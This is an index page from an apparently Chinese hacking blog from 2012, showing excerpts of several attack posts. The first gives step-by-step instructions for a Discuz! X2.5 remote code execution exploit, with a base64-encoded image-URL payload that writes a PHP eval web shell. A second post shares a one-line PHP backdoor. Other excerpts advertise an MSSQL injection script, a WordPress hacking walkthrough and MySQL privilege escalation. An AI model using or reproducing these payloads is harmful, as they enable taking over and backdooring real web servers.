[置顶] 健身计划

[置顶] 病从口入,祸从口出

Discuz! X2.5 远程代码执行漏洞及EXP

NO.THINKING 发表于 2012-04-27, 2:24 PM

群里发的，没有测试--！

1.注册任意账户
2.登陆用户，发表blog日志（注意是日志）
3.添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
4.访问日志，论坛根目录下生成demo.php，一句发密码C

» 阅读全文

发表在: 技术相关 0 条评论 阅读 46 次

一个新型php后门

NO.THINKING 发表于 2012-04-18, 11:06 PM

老外网站看到一个php后门，之前没有见过，共享给各位。
<?=($_=@$_GET[2]).@$_($_GET[1])?>

» 阅读全文

发表在: 武器库 0 条评论 阅读 48 次

好东西与大家分享--mssql2005 注入总结2（孤水绕城总结篇）

NO.THINKING 发表于 2012-04-18, 11:02 PM

***********************************************************************************************
'Sql2005注射辅助脚本[粗糙版] 用于mssql显错模式 By Tr4c3[at]126[Dot]com
'亦适用于MSSQL 2000的注射,不过2000还是用nbsi和Pangolin。
'***********************************************************************************************
'为了保持脚本的通用性，放弃了 and (select col_name(object_id('TableName'),N))=0这样的用法。
'欲返回韩文等字符可修改121或者136行，更多的设置要自己修改
'更多功能请大家自己加入

» 阅读全文

发表在: 技术相关 0 条评论 阅读 34 次

来看看老外的日站思路

NO.THINKING 发表于 2012-04-17, 10:47 AM

原文：http://resources.infosecinstitute.com/hacking-a-wordpress-site 《Targeting and Hacking a WordPress Site》

问题的答案看起来不那么确定，显而易见的是黑掉一个站点有很多种方法。在这篇文章，我们的目标是要给大家展示一下黑客是如何锁定并黑掉一个目标站点的！

让我们来看看目标站点：hack-test.com

» 阅读全文

发表在: 技术相关 0 条评论 阅读 57 次

WWW.CURSCI.COM 域名出售

NO.THINKING 发表于 2012-04-13, 4:11 PM

CURSCI.COM  域名出售 参考 CURSCI.CO.UK

域名年限接近20年 有意向的同学 pm

» 阅读全文

发表在: 乱七八糟 0 条评论 阅读 49 次

MySQL提权简单方法

NO.THINKING 发表于 2012-04-12, 4:45 PM

前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对 Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.

» 阅读全文

发表在: 技术相关 0 条评论 阅读 50 次
Total: 103Page 1 of 181234567Next ›Last »